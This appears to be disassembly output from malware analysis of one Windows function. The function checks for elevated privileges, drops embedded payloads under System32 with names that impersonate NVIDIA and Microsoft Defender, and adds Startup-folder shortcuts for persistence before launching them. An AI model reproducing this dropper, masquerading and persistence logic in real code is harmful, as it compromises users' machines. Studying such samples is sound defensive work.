Function at 0x140005c80
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x1400e5080]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor r13d, r13d
mov dword [rbp + 0x210], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x20]
lea edx, [r13 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400067fc
lea rax, [rbp + 0x218]
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 4]
lea r8, [rbp + 0x210]
lea edx, [r13 + 0x14]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400067fc
cmp dword [rbp + 0x210], r13d
setne al
test al, al
je 0x1400067fc
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r13b
lea r8d, [r13 + 0x26]
lea rdx, str.C:WindowsSystem32NVIDIAGraphics.exe
lea rcx, [rbp + 0x240]
call fcn.140004380
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x100]
call fcn.14000a100
mov dword [rsp + 0x20], 1
lea r9d, [r13 + 0x40]
lea r8d, [r13 + 1]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x100]
call fcn.140001cd0
nop
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
mov esi, 6
lea rdi, [rsi - 7]
lea r15d, [r13 + 2]
test byte [rbp + rcx + 0x110], sil
je 0x140006239
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2f0]
call fcn.14000a100
mov dword [rsp + 0x20], 1
lea r9d, [r13 + 0x40]
lea r8d, [r13 + 0x20]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x2f0]
call fcn.140001e90
nop
lea rbx, [0x140080de0]
lea r14, [0x1400d2de0]
nop dword [rax]
movzx edx, byte [rbx]
lea rcx, [rbp + 0x2f0]
call fcn.140004f50
inc rbx
cmp rbx, r14
jne 0x140005e00
lea rcx, [rbp + 0x2f8]
call fcn.140004560
test rax, rax
jne 0x140005e62
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
mov eax, esi
cmp qword [rbp + rcx + 0x338], 0
cmovne eax, r15d
or eax, dword [rbp + rcx + 0x300]
and eax, 0x17
mov dword [rbp + rcx + 0x300], eax
mov edx, dword [rbp + rcx + 0x304]
and edx, eax
jne 0x140006834
lea rcx, str.appdata
call fcn.14000e258
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005e90
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004380
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x41
jb 0x140005ef9
lea rax, [rcx + 0x41]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x41
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartupNVIDIAGraphics.lnk
mov rcx, rbx
call fcn.140009a50
mov byte [rbx + 0x41], 0
lea rax, [rsp + 0x58]
jmp 0x140005f1e
mov qword [rsp + 0x20], 0x41
lea r9, str.MicrosoftWindowsStart_MenuProgramsStartupNVIDIAGraphics.lnk
movzx r8d, byte [rsp + 0x50]
mov edx, 0x41
lea rcx, [rsp + 0x58]
call fcn.140001230
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x48]
call fcn.140001070
nop
lea rax, [rbp - 0x68]
mov qword [rbp - 0x20], rax
lea r15, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae r15, qword [rbp + 0x240]
mov r14, qword [rbp + 0x250]
call fcn.14000770c
mov r12d, eax
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
mov dword [rbp + 0x210], 9
test r14, r14
je 0x14000601a
cmp r14, 0x7fffffff
ja 0x140006885
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, r14d
mov rdx, r15
mov ecx, eax
call fcn.140007734
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140006890
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp - 0x68]
call fcn.140005160
lea r9, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae r9, qword [rbp - 0x68]
mov dword [rsp + 0x20], ebx
mov r8d, r14d
mov rdx, r15
mov ecx, r12d
call fcn.140007734
shr rax, 0x20
test eax, eax
jne 0x140006898
mov qword [rbp + 0x218], r13
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x218]
call fcn.1400036b0
nop
mov rbx, qword [rbp + 0x218]
test rbx, rbx
je 0x1400068a0
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
mov rdx, rbx
call fcn.140007848
test eax, eax
jne 0x1400068a6
mov rcx, rbx
call fcn.140007bf0
nop
lea rcx, [rbp - 0x68]
call fcn.1400041d0
nop
lea rcx, [rbp - 0x48]
call fcn.1400041d0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400060b9
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068bd
call fcn.140007bf0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140006107
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006102
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068c3
call fcn.140007bf0
lea rdx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae rdx, qword [rbp + 0x240]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x284], xmm0
movups xmmword [rbp + 0x294], xmm0
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
mov dword [rbp + 0x2e4], eax
mov dword [rbp + 0x280], 0x68
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2ec], edx
lea rcx, [rbp + 0x2f8]
call fcn.140002b30
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x2ec], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x398], rax
lea rcx, [rbp + 0x398]
call fcn.1400074a0
nop
mov r15d, 2
jmp 0x1400062d7
lea rdx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae rdx, qword [rbp + 0x240]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x284], xmm0
movups xmmword [rbp + 0x294], xmm0
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
mov dword [rbp + 0x2e4], eax
mov dword [rbp + 0x280], 0x68
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
mov r8d, 0x2a
lea rdx, str.C:WindowsSystem32AntimalwareService.exe
lea rcx, [rbp + 0x220]
call fcn.140004380
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x10]
call fcn.14000a100
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x10]
call fcn.140001cd0
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx], 6
je 0x1400066a3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2f0]
call fcn.14000a100
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x2f0]
call fcn.140001e90
nop
lea rbx, [0x1400283e0]
lea r14, [0x140080de0]
movzx edx, byte [rbx]
lea rcx, [rbp + 0x2f0]
call fcn.140004f50
inc rbx
cmp rbx, r14
jne 0x1400063a0
lea rcx, [rbp + 0x2f8]
call fcn.140004560
test rax, rax
jne 0x140006400
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x338], 0
cmovne esi, r15d
or esi, dword [rbp + rcx + 0x300]
and esi, 0x17
mov dword [rbp + rcx + 0x300], esi
mov eax, dword [rbp + rcx + 0x304]
and eax, esi
jne 0x1400068c9
lea rcx, str.appdata
call fcn.14000e258
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
inc rdi
cmp byte [rax + rdi], 0
jne 0x140006424
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004380
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x44
jb 0x14000648f
lea rax, [rcx + 0x44]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x44
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartupMicrosoftDefender.lnk
mov rcx, rbx
call fcn.140009a50
mov byte [rbx + 0x44], 0
lea rax, [rsp + 0x58]
jmp 0x1400064b4
mov qword [rsp + 0x20], 0x44
lea r9, str.MicrosoftWindowsStart_MenuProgramsStartupMicrosoftDefender.lnk
movzx r8d, byte [rsp + 0x50]
mov edx, 0x44
lea rcx, [rsp + 0x58]
call fcn.140001230
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x48]
call fcn.140001070
nop
xor r8d, r8d
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x68]
call fcn.140001070
nop
mov qword [rbp + 0x218], r13
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x218]
call fcn.1400036b0
nop
mov rbx, qword [rbp + 0x218]
test rbx, rbx
je 0x140006918
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
mov rdx, rbx
call fcn.140007848
test eax, eax
jne 0x14000691e
mov rcx, rbx
call fcn.140007bf0
nop
lea rcx, [rbp - 0x68]
call fcn.1400041d0
nop
lea rcx, [rbp - 0x48]
call fcn.1400041d0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400065a5
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006935
call fcn.140007bf0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400065f3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000693b
call fcn.140007bf0
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae rdx, qword [rbp + 0x220]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x284], xmm0
movups xmmword [rbp + 0x294], xmm0
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
mov dword [rbp + 0x2e4], eax
mov dword [rbp + 0x280], 0x68
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
lea rcx, [rbp + 0x2f0]
call fcn.140002f00
jmp 0x140006741
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae rdx, qword [rbp + 0x220]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x284], xmm0
movups xmmword [rbp + 0x294], xmm0
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
mov dword [rbp + 0x2e4], eax
mov dword [rbp + 0x280], 0x68
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, str.start_Firefox.exe_https:__www.youtube.com_watch_v3gO3Hn7wTdk
call fcn.14000e260
nop
lea rcx, [rbp - 0x10]
call fcn.140002e60
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140006799
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006941
call fcn.140007bf0
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
lea rcx, [rbp + 0x100]
call fcn.140002e60
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x1400067fc
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000682e
call fcn.140007bf0
xor eax, eax
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140007d10
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000dfcc
nop
test dl, 4
je 0x140006842
lea rbx, str.ios_base::badbit_set
jmp 0x140006857
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x20]
call fcn.140004a30
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140002600
lea rdx, [0x1400e4130]
lea rcx, [rbp - 0x48]
call fcn.140008cc4
nop
mov ecx, 0x16
call fcn.140004150
int3
mov ecx, eax
call fcn.140004190
int3
mov ecx, eax
call fcn.140004190
nop
call fcn.140006b60
int3
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x68]
mov edx, eax
lea rcx, str.create_symlink
call fcn.1400040e0
nop
call fcn.14000dfcc
nop
call fcn.14000dfcc
nop
test al, 4
je 0x1400068d6
lea rbx, str.ios_base::badbit_set
jmp 0x1400068ea
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x20]
call fcn.140004a30
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140002600
lea rdx, [0x1400e4130]
lea rcx, [rbp - 0x48]
call fcn.140008cc4
nop
call fcn.140006b60
int3
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x68]
mov edx, eax
lea rcx, str.create_symlink
call fcn.1400040e0
nop
call fcn.14000dfcc
nop
call fcn.14000dfcc
nop
call fcn.14000dfcc
int3